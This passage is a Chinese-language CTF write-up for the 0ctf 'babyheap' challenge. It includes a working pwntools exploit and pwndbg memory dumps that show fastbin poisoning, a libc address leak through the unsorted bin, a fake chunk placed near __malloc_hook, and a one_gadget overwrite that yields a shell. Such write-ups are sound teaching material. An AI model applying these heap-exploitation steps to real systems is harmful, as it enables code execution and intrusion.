success("fake chunk:"+hex(fake_chunk))
malloc(0x60)
free(4)

fill(2,p64(fake_chunk)) # chunk[2]->fd = fake chunk

malloc(0x60)
malloc(0x60) # malloc fake chunk

# construct fake chunk
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x3f35a) # one_gadgets
fill(6, payload)

# trigger
malloc(255)

r.interactive()

泄露libc地址

这里我们是通过small chunk的机制泄露libc地址,当small chunk被释放之后,会进入unsorted bin中,它的fd和bk指针会指向同一个地址(unsorted bin链表的头部),通过这个地址可以获得main_arena的地址,然后计算libc基地址,首先我们创建如下几个chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
code:
malloc(0x10) # fast chunk 0
malloc(0x10) # fast chunk 1
malloc(0x10) # fast chunk 2
malloc(0x10) # fast chunk 3
malloc(0x80) # small chunk
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000: 0x0000000000000000 0x0000000000000021
0x55c448092010: 0x0000000000000000 0x0000000000000000
0x55c448092020: 0x0000000000000000 0x0000000000000021
0x55c448092030: 0x0000000000000000 0x0000000000000000
0x55c448092040: 0x0000000000000000 0x0000000000000021
0x55c448092050: 0x0000000000000000 0x0000000000000000
0x55c448092060: 0x0000000000000000 0x0000000000000021
0x55c448092070: 0x0000000000000000 0x0000000000000000
0x55c448092080: 0x0000000000000000 0x0000000000000091
0x55c448092090: 0x0000000000000000 0x0000000000000000
pwndbg> x/20gx 0x361e77c925a0 => heap struct
0x361e77c925a0: 0x0000000000000001 0x0000000000000010
0x361e77c925b0: 0x000055c448092010 0x0000000000000001
0x361e77c925c0: 0x0000000000000010 0x000055c448092030
0x361e77c925d0: 0x0000000000000001 0x0000000000000010
0x361e77c925e0: 0x000055c448092050 0x0000000000000001
0x361e77c925f0: 0x0000000000000010 0x000055c448092070
0x361e77c92600: 0x0000000000000001 0x0000000000000080
0x361e77c92610: 0x000055c448092090 0x0000000000000000
0x361e77c92620: 0x0000000000000000 0x0000000000000000
0x361e77c92630: 0x0000000000000000 0x0000000000000000

释放两个fast chunk,将第二个指向第一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
code:
free(1)
free(2)
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000: 0x0000000000000000 0x0000000000000021 => 0
0x55c448092010: 0x0000000000000000 0x0000000000000000
0x55c448092020: 0x0000000000000000 0x0000000000000021 => 1 free
0x55c448092030: 0x0000000000000000 0x0000000000000000
0x55c448092040: 0x0000000000000000 0x0000000000000021 => 2 free
0x55c448092050: 0x000055c448092020 0x0000000000000000
0x55c448092060: 0x0000000000000000 0x0000000000000021 => 3
0x55c448092070: 0x0000000000000000 0x0000000000000000
0x55c448092080: 0x0000000000000000 0x0000000000000091 => 4
0x55c448092090: 0x0000000000000000 0x0000000000000000
pwndbg> bins
fastbins
0x20: 0x55c448092040 —▸ 0x55c448092020 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/20gx 0x361e77c925a0
0x361e77c925a0: 0x0000000000000001 0x0000000000000010
0x361e77c925b0: 0x000055c448092010 0x0000000000000000
0x361e77c925c0: 0x0000000000000000 0x0000000000000000
0x361e77c925d0: 0x0000000000000000 0x0000000000000000
0x361e77c925e0: 0x0000000000000000 0x0000000000000001
0x361e77c925f0: 0x0000000000000010 0x000055c448092070
0x361e77c92600: 0x0000000000000001 0x0000000000000080
0x361e77c92610: 0x000055c448092090 0x0000000000000000
0x361e77c92620: 0x0000000000000000 0x0000000000000000
0x361e77c92630: 0x0000000000000000 0x0000000000000000

这里我们通过 fill 函数修改第0个chunk之后的内容,因为没有限制,所以我们可以修改到2处的指针,让其指向chunk4,因为chunk4是small bin,被链入到了fast bin中会有size的检查,所以我们这里需要将chunk4处的size改为0x20过size的检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
code:
fill(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80))
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000: 0x0000000000000000 0x0000000000000021
0x55c448092010: 0x0000000000000000 0x0000000000000000
0x55c448092020: 0x0000000000000000 0x0000000000000021 free
0x55c448092030: 0x0000000000000000 0x0000000000000000
0x55c448092040: 0x0000000000000000 0x0000000000000021 free
0x55c448092050: 0x000055c448092080 0x0000000000000000
0x55c448092060: 0x0000000000000000 0x0000000000000021
0x55c448092070: 0x0000000000000000 0x0000000000000000
0x55c448092080: 0x0000000000000000 0x0000000000000091
0x55c448092090: 0x0000000000000000 0x0000000000000000
code:
fill(3,p64(0)*3+p64(0x21))
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000: 0x0000000000000000 0x0000000000000021
0x55c448092010: 0x0000000000000000 0x0000000000000000
0x55c448092020: 0x0000000000000000 0x0000000000000021
0x55c448092030: 0x0000000000000000 0x0000000000000000
0x55c448092040: 0x0000000000000000 0x0000000000000021
0x55c448092050: 0x000055c448092080 0x0000000000000000
0x55c448092060: 0x0000000000000000 0x0000000000000021
0x55c448092070: 0x0000000000000000 0x0000000000000000
0x55c448092080: 0x0000000000000000 0x0000000000000021
0x55c448092090: 0x0000000000000000 0x0000000000000000
pwndbg> bins
fastbins
0x20: 0x55c448092040 —▸ 0x55c448092080 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

然后我们申请这两个地方的fastbin就可以让index 2的堆块的地址和index 4堆块的地址一样,等index 4被free后,这里就是fd 字段,之后便能通过dump index 2来泄漏index 4的fd内容,括号中括起来的即是heap结构体中指向的同一地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
code:
malloc(0x10)
malloc(0x10)
debugger:
pwndbg> x/20gx 0x361e77c925a0
0x361e77c925a0: 0x0000000000000001 0x0000000000000010
0x361e77c925b0: 0x000055c448092010 0x0000000000000001
0x361e77c925c0: 0x0000000000000010 0x000055c448092050
0x361e77c925d0: 0x0000000000000001 0x0000000000000010
0x361e77c925e0: (0x000055c448092090) 0x0000000000000001
0x361e77c925f0: 0x0000000000000010 0x000055c448092070
0x361e77c92600: 0x0000000000000001 0x0000000000000080
0x361e77c92610: (0x000055c448092090) 0x0000000000000000
0x361e77c92620: 0x0000000000000000 0x0000000000000000
0x361e77c92630: 0x0000000000000000 0x0000000000000000

我们再将其改为原来的大小,申请释放即可泄露出fd指向的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
code:
fill(3,p64(0)*3+p64(0x91))
malloc(0x80)
free(4)
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000: 0x0000000000000000 0x0000000000000021
0x55c448092010: 0x0000000000000000 0x0000000000000000
0x55c448092020: 0x0000000000000000 0x0000000000000021
0x55c448092030: 0x0000000000000000 0x0000000000000000
0x55c448092040: 0x0000000000000000 0x0000000000000021
0x55c448092050: 0x0000000000000000 0x0000000000000000
0x55c448092060: 0x0000000000000000 0x0000000000000021
0x55c448092070: 0x0000000000000000 0x0000000000000000
0x55c448092080: 0x0000000000000000 0x0000000000000091
0x55c448092090: 0x00007f9c3ed6db58 0x00007f9c3ed6db58
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55c448092080 —▸ 0x7f9c3ed6db58 (main_arena+88) ◂— 0x55c448092080
smallbins
empty
largebins
empty

这个地址是main_arena+88,我们将其减去0x58得到main_arena的地址,然后根据自己系统libc版本减去相应的偏移获得libc的基地址

1
2
3
4
5
6
7
8
9
10
code:
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x58-0x399b00
success("libc_base: "+hex(libc_base))
debugger:
pwndbg> vmmap
[...]
0x7f9c3e9d4000 0x7f9c3eb69000 r-xp 195000 0 /usr/lib/x86_64-linux-gnu/libc-2.24.so
[...]
pwndbg> p/x 0x7f9c3ed6db00-0x7f9c3e9d4000
$2 = 0x399b00

getshell

我们这里考虑的是使用malloc_hook函数来getshell,当调用 malloc 时,如果 malloc_hook 不为空则调用指向的这个函数,所以这里我们传入一个 one-gadget 即可,首先我们需要找到一个fake chunk,我们将其申请到然后将 one-gadget 写入,它的size选择在0x10~0x80之间即可,这里选择的是mallc_hook上面一排的地方,为了使我们的user data刚好能够写到malloc_hook的位置

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x7f9c3e9d4000+0x399acd
0x7f9c3ed6dacd <_IO_wide_data_0+301>: 0x9c3ed69f00000000 0x000000000000007f
0x7f9c3ed6dadd: 0x9c3ea50420000000 0x9c3ea503c000007f
0x7f9c3ed6daed <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7f9c3ed6dafd: 0x0000000000000000 0x0000000000000000
0x7f9c3ed6db0d <main_arena+13>: 0x0000000000000000 0x0000000000000000
0x7f9c3ed6db1d <main_arena+29>: 0x0000000000000000 0x0000000000000000
0x7f9c3ed6db2d <main_arena+45>: 0x0000000000000000 0x0000000000000000
0x7f9c3ed6db3d <main_arena+61>: 0x0000000000000000 0x0000000000000000
0x7f9c3ed6db4d <main_arena+77>: 0x0000000000000000 0xc4480921a0000000
0x7f9c3ed6db5d <main_arena+93>: 0x0000000000000055 0xc448092080000000

利用fast bin机制进行如下构造,我们需要申请到fake_chunk的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
code:
malloc(0x60)
free(4)
fill(2,p64(fake_chunk)) # chunk[2]->fd = fake chunk
debugger:
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55c448092080 —▸ 0x7f9c3ed6dacd (_IO_wide_data_0+301) ◂— 0x9c3ea50420000000
0x80: 0x0
unsortedbin
all: 0x55c4480920f0 —▸ 0x7f9c3ed6db58 (main_arena+88) ◂— 0x55c4480920f0
smallbins
empty
largebins
empty

继续malloc两次即可申请到fake chunk的地方,就可以对malloc_hook进行写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
code:
malloc(0x60)
malloc(0x60) # malloc fake chunk
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x9c3ea50420000000
0x80: 0x0
unsortedbin
all: 0x55c4480920f0 —▸ 0x7f9c3ed6db58 (main_arena+88) ◂— 0x55c4480920f0
smallbins
empty
largebins
empty

最后我们构造fake chunk,写入one_gadget即可,这里根据自己的libc版本查询相应的one_gadget

1
2
3
4
5
6
7
8
# construct fake chunk
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x3f35a) # one_gadgets
fill(6, payload)

# trigger
malloc(255)

最后getshell

1
2
3
4
5
6
7
8
9
10
11
12
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x2f bytes:
'0ctfbabyheap core exp.py libc.so.6\n'
0ctfbabyheap core exp.py libc.so.6
$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x8 bytes:
'thunder\n'
thunder

总结

这道题目因为可以自己构造堆的结构,所以比较自由,利用的方法也非常多,我的exp是针对我的deepin环境,想要在不同平台进行利用,需要查看自己libc中的偏移,修改部分偏移即可,一些知识点总结如下

  1. 保护全开可以覆写malloc_hook,free_hook等函数
  2. small chunk泄露fd和bk,从而泄露libc的手法
  3. 堆溢出的前提下对fast bin检查机制的一些绕过手法